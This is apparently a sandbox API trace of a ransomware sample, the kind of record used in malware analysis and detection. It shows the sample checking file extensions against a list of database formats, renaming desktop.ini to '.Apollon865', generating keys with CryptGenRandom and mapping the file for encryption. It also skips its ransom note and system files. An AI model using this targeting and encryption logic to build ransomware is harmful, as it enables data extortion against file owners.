	[0046.747] lstrlenW (lpString="vdi") returned 3
	[0046.747] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0046.747] lstrlenW (lpString="vhd") returned 3
	[0046.747] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0046.747] lstrlenW (lpString="vhdx") returned 4
	[0046.747] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0046.747] lstrlenW (lpString="avhd") returned 4
	[0046.747] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0046.747] lstrlenW (lpString="db") returned 2
	[0046.747] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0046.747] lstrlenW (lpString="db2") returned 3
	[0046.747] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0046.747] lstrlenW (lpString="db3") returned 3
	[0046.747] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0046.747] lstrlenW (lpString="dbf") returned 3
	[0046.747] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0046.747] lstrlenW (lpString="mdf") returned 3
	[0046.747] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0046.747] lstrlenW (lpString="mdb") returned 3
	[0046.747] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0046.747] lstrlenW (lpString="sql") returned 3
	[0046.747] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0046.747] lstrlenW (lpString="sqlite") returned 6
	[0046.747] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0046.747] lstrlenW (lpString="sqlite3") returned 7
	[0046.747] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0046.747] lstrlenW (lpString="sqlitedb") returned 8
	[0046.747] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0046.747] lstrlenW (lpString="xml") returned 3
	[0046.747] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0046.747] lstrlenW (lpString="$er") returned 3
	[0046.747] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0046.747] lstrlenW (lpString="4dd") returned 3
	[0046.748] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0046.748] lstrlenW (lpString="4dl") returned 3
	[0046.748] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0046.748] lstrlenW (lpString="^^^") returned 3
	[0046.748] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0046.748] lstrlenW (lpString="abs") returned 3
	[0046.748] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0046.748] lstrlenW (lpString="abx") returned 3
	[0046.748] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0046.748] lstrlenW (lpString="accdb") returned 5
	[0046.748] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0046.748] lstrlenW (lpString="accdc") returned 5
	[0046.748] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0046.748] lstrlenW (lpString="accde") returned 5
	[0046.748] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0046.748] lstrlenW (lpString="accdr") returned 5
	[0046.748] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0046.748] lstrlenW (lpString="accdt") returned 5
	[0046.748] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0046.748] lstrlenW (lpString="accdw") returned 5
	[0046.748] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0046.748] lstrlenW (lpString="accft") returned 5
	[0046.748] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0046.748] lstrlenW (lpString="adb") returned 3
	[0046.748] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0046.748] lstrlenW (lpString="adb") returned 3
	[0046.748] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0046.748] lstrlenW (lpString="ade") returned 3
	[0046.748] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0046.748] lstrlenW (lpString="adf") returned 3
	[0046.748] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0046.748] lstrlenW (lpString="adn") returned 3
	[0046.748] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0046.748] lstrlenW (lpString="adp") returned 3
	[0046.748] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0046.749] lstrlenW (lpString="alf") returned 3
	[0046.749] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0046.749] lstrlenW (lpString="ask") returned 3
	[0046.749] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0046.749] lstrlenW (lpString="btr") returned 3
	[0046.749] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0046.749] lstrlenW (lpString="cat") returned 3
	[0046.749] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0046.749] lstrlenW (lpString="cdb") returned 3
	[0046.749] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0046.749] lstrlenW (lpString="ckp") returned 3
	[0046.749] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0046.749] lstrlenW (lpString="cma") returned 3
	[0046.749] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0046.749] lstrlenW (lpString="cpd") returned 3
	[0046.749] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0046.749] lstrlenW (lpString="dacpac") returned 6
	[0046.749] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0046.749] lstrlenW (lpString="dad") returned 3
	[0046.749] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0046.749] lstrlenW (lpString="dadiagrams") returned 10
	[0046.749] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0046.749] lstrlenW (lpString="daschema") returned 8
	[0046.749] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0046.749] lstrlenW (lpString="db-journal") returned 10
	[0046.749] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0046.749] lstrlenW (lpString="db-shm") returned 6
	[0046.749] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0046.749] lstrlenW (lpString="db-wal") returned 6
	[0046.749] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0046.749] lstrlenW (lpString="dbc") returned 3
	[0046.749] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0046.749] lstrlenW (lpString="dbs") returned 3
	[0046.749] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0046.749] lstrlenW (lpString="dbt") returned 3
	[0046.750] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0046.750] lstrlenW (lpString="dbv") returned 3
	[0046.750] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0046.750] lstrlenW (lpString="dbx") returned 3
	[0046.750] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0046.750] lstrlenW (lpString="dcb") returned 3
	[0046.750] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0046.750] lstrlenW (lpString="dct") returned 3
	[0046.750] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0046.750] lstrlenW (lpString="dcx") returned 3
	[0046.750] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0046.750] lstrlenW (lpString="ddl") returned 3
	[0046.750] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0046.750] lstrlenW (lpString="dlis") returned 4
	[0046.750] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0046.750] lstrlenW (lpString="dp1") returned 3
	[0046.750] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0046.750] lstrlenW (lpString="dqy") returned 3
	[0046.750] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0046.750] lstrlenW (lpString="dsk") returned 3
	[0046.750] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0046.750] lstrlenW (lpString="dsn") returned 3
	[0046.750] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0046.750] lstrlenW (lpString="dtsx") returned 4
	[0046.750] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0046.750] lstrlenW (lpString="dxl") returned 3
	[0046.750] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0046.750] lstrlenW (lpString="eco") returned 3
	[0046.750] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0046.750] lstrlenW (lpString="ecx") returned 3
	[0046.750] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0046.750] lstrlenW (lpString="edb") returned 3
	[0046.750] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0046.750] lstrlenW (lpString="epim") returned 4
	[0046.751] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0046.751] lstrlenW (lpString="fcd") returned 3
	[0046.751] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0046.751] lstrlenW (lpString="fdb") returned 3
	[0046.751] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0046.751] lstrlenW (lpString="fic") returned 3
	[0046.751] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0046.751] lstrlenW (lpString="flexolibrary") returned 12
	[0046.751] lstrlenW (lpString="fm5") returned 3
	[0046.751] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0046.751] lstrlenW (lpString="fmp") returned 3
	[0046.751] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0046.751] lstrlenW (lpString="fmp12") returned 5
	[0046.751] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0046.751] lstrlenW (lpString="fmpsl") returned 5
	[0046.751] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0046.751] lstrlenW (lpString="fol") returned 3
	[0046.751] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0046.751] lstrlenW (lpString="fp3") returned 3
	[0046.751] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0046.751] lstrlenW (lpString="fp4") returned 3
	[0046.751] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0046.751] lstrlenW (lpString="fp5") returned 3
	[0046.751] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0046.751] lstrlenW (lpString="fp7") returned 3
	[0046.751] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0046.751] lstrlenW (lpString="fpt") returned 3
	[0046.751] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0046.751] lstrlenW (lpString="frm") returned 3
	[0046.751] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0046.751] lstrlenW (lpString="gdb") returned 3
	[0046.751] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0046.751] lstrlenW (lpString="gdb") returned 3
	[0046.751] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0046.751] lstrlenW (lpString="grdb") returned 4
	[0046.752] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0046.752] lstrlenW (lpString="gwi") returned 3
	[0046.752] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0046.752] lstrlenW (lpString="hdb") returned 3
	[0046.752] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0046.752] lstrlenW (lpString="his") returned 3
	[0046.752] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0046.752] lstrlenW (lpString="ib") returned 2
	[0046.752] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0046.752] lstrlenW (lpString="idb") returned 3
	[0046.752] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0046.752] lstrlenW (lpString="ihx") returned 3
	[0046.752] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0046.752] lstrlenW (lpString="itdb") returned 4
	[0046.752] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0046.752] lstrlenW (lpString="itw") returned 3
	[0046.752] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0046.752] lstrlenW (lpString="jet") returned 3
	[0046.752] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0046.752] lstrlenW (lpString="jtx") returned 3
	[0046.752] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0046.752] lstrlenW (lpString="kdb") returned 3
	[0046.752] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0046.752] lstrlenW (lpString="kexi") returned 4
	[0046.752] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0046.752] lstrlenW (lpString="kexic") returned 5
	[0046.752] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0046.752] lstrlenW (lpString="kexis") returned 5
	[0046.752] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0046.752] lstrlenW (lpString="lgc") returned 3
	[0046.752] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0046.752] lstrlenW (lpString="lwx") returned 3
	[0046.752] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0046.752] lstrlenW (lpString="maf") returned 3
	[0046.752] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0046.753] lstrlenW (lpString="maq") returned 3
	[0046.753] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0046.753] lstrlenW (lpString="mar") returned 3
	[0046.753] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0046.753] lstrlenW (lpString="marshal") returned 7
	[0046.753] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0046.753] lstrlenW (lpString="mas") returned 3
	[0046.753] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0046.753] lstrlenW (lpString="mav") returned 3
	[0046.753] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0046.753] lstrlenW (lpString="maw") returned 3
	[0046.753] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0046.753] lstrlenW (lpString="mdbhtml") returned 7
	[0046.753] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0046.753] lstrlenW (lpString="mdn") returned 3
	[0046.753] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0046.753] lstrlenW (lpString="mdt") returned 3
	[0046.753] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0046.753] lstrlenW (lpString="mfd") returned 3
	[0046.753] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0046.753] lstrlenW (lpString="mpd") returned 3
	[0046.753] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0046.753] lstrlenW (lpString="mrg") returned 3
	[0046.753] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0046.753] lstrlenW (lpString="mud") returned 3
	[0046.753] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0046.753] lstrlenW (lpString="mwb") returned 3
	[0046.753] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0046.753] lstrlenW (lpString="myd") returned 3
	[0046.753] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0046.753] lstrlenW (lpString="ndf") returned 3
	[0046.753] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0046.753] lstrlenW (lpString="nnt") returned 3
	[0046.753] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0046.754] lstrlenW (lpString="nrmlib") returned 6
	[0046.754] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0046.754] lstrlenW (lpString="ns2") returned 3
	[0046.754] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0046.754] lstrlenW (lpString="ns3") returned 3
	[0046.754] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0046.754] lstrlenW (lpString="ns4") returned 3
	[0046.754] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0046.754] lstrlenW (lpString="nsf") returned 3
	[0046.754] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0046.755] lstrlenW (lpString="nv") returned 2
	[0046.755] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0046.755] lstrlenW (lpString="nv2") returned 3
	[0046.755] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0046.755] lstrlenW (lpString="nwdb") returned 4
	[0046.755] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0046.755] lstrlenW (lpString="nyf") returned 3
	[0046.755] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0046.755] lstrlenW (lpString="odb") returned 3
	[0046.755] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0046.755] lstrlenW (lpString="odb") returned 3
	[0046.755] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0046.755] lstrlenW (lpString="oqy") returned 3
	[0046.755] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0046.755] lstrlenW (lpString="ora") returned 3
	[0046.755] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0046.755] lstrlenW (lpString="orx") returned 3
	[0046.755] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0046.755] lstrlenW (lpString="owc") returned 3
	[0046.755] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0046.755] lstrlenW (lpString="p96") returned 3
	[0046.755] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0046.755] lstrlenW (lpString="p97") returned 3
	[0046.755] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0046.755] lstrlenW (lpString="pan") returned 3
	[0046.755] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0046.755] lstrlenW (lpString="pdb") returned 3
	[0046.755] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0046.755] lstrlenW (lpString="pdm") returned 3
	[0046.755] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0046.755] lstrlenW (lpString="pnz") returned 3
	[0046.755] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0046.756] lstrlenW (lpString="qry") returned 3
	[0046.756] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0046.756] lstrlenW (lpString="qvd") returned 3
	[0046.756] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0046.756] lstrlenW (lpString="rbf") returned 3
	[0046.756] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0046.756] lstrlenW (lpString="rctd") returned 4
	[0046.756] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0046.756] lstrlenW (lpString="rod") returned 3
	[0046.756] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0046.756] lstrlenW (lpString="rodx") returned 4
	[0046.756] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0046.756] lstrlenW (lpString="rpd") returned 3
	[0046.756] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0046.756] lstrlenW (lpString="rsd") returned 3
	[0046.756] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0046.756] lstrlenW (lpString="sas7bdat") returned 8
	[0046.756] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0046.756] lstrlenW (lpString="sbf") returned 3
	[0046.756] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0046.756] lstrlenW (lpString="scx") returned 3
	[0046.756] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0046.756] lstrlenW (lpString="sdb") returned 3
	[0046.756] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0046.756] lstrlenW (lpString="sdc") returned 3
	[0046.756] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0046.756] lstrlenW (lpString="sdf") returned 3
	[0046.756] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0046.756] lstrlenW (lpString="sis") returned 3
	[0046.756] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0046.756] lstrlenW (lpString="spq") returned 3
	[0046.756] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0046.756] lstrlenW (lpString="te") returned 2
	[0046.756] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0046.756] lstrlenW (lpString="teacher") returned 7
	[0046.757] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0046.757] lstrlenW (lpString="tmd") returned 3
	[0046.757] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0046.757] lstrlenW (lpString="tps") returned 3
	[0046.757] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0046.757] lstrlenW (lpString="trc") returned 3
	[0046.757] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0046.757] lstrlenW (lpString="trc") returned 3
	[0046.757] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0046.757] lstrlenW (lpString="trm") returned 3
	[0046.757] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0046.757] lstrlenW (lpString="udb") returned 3
	[0046.757] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0046.757] lstrlenW (lpString="udl") returned 3
	[0046.757] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0046.757] lstrlenW (lpString="usr") returned 3
	[0046.757] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0046.757] lstrlenW (lpString="v12") returned 3
	[0046.758] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0046.758] lstrlenW (lpString="vis") returned 3
	[0046.758] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0046.758] lstrlenW (lpString="vpd") returned 3
	[0046.758] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0046.758] lstrlenW (lpString="vvv") returned 3
	[0046.758] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0046.758] lstrlenW (lpString="wdb") returned 3
	[0046.758] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0046.758] lstrlenW (lpString="wmdb") returned 4
	[0046.758] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0046.759] lstrlenW (lpString="wrk") returned 3
	[0046.759] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0046.759] lstrlenW (lpString="xdb") returned 3
	[0046.759] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0046.759] lstrlenW (lpString="xld") returned 3
	[0046.759] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0046.759] lstrlenW (lpString="xmlff") returned 5
	[0046.759] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0046.759] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Libraries\\desktop.ini.Apollon865") returned 48
	[0046.759] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Libraries\\desktop.ini" (normalized: "c:\\users\\public\\libraries\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Libraries\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\libraries\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0046.759] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\libraries\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0046.759] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=88) returned 1
	[0046.760] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0046.760] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0046.760] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0046.760] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf788) returned 1
	[0046.761] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0046.761] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.761] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x360, lpName=0x0) returned 0x160
	[0046.785] MapViewOfFile (hFileMappingObject=0x160, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x360) returned 0x120000
	[0046.786] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf788) returned 1
	[0046.786] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0046.786] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.786] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0046.786] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0046.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0046.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0046.787] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0046.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0046.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5aa3c8
	[0046.787] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0046.787] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
	[0046.787] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0046.787] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0046.787] CloseHandle (hObject=0x160) returned 1
	[0046.787] CloseHandle (hObject=0x15c) returned 1
	[0046.787] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0046.787] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0046.787] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0046.789] FindNextFileW (in: hFindFile=0x5ca3d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dbbd650, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2dbbd650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.789] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.789] FindNextFileW (in: hFindFile=0x5ca3d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 1
	[0046.789] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.789] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="Apollon865.txt.exe") returned 1
	[0046.789] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2=".") returned 1
	[0046.789] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="..") returned 1
	[0046.789] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="windows") returned -1
	[0046.789] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="bootmgr") returned 1
	[0046.789] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="temp") returned -1
	[0046.789] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="pagefile.sys") returned 1
	[0046.789] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="boot") returned 1
	[0046.789] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="ids.txt") returned 1
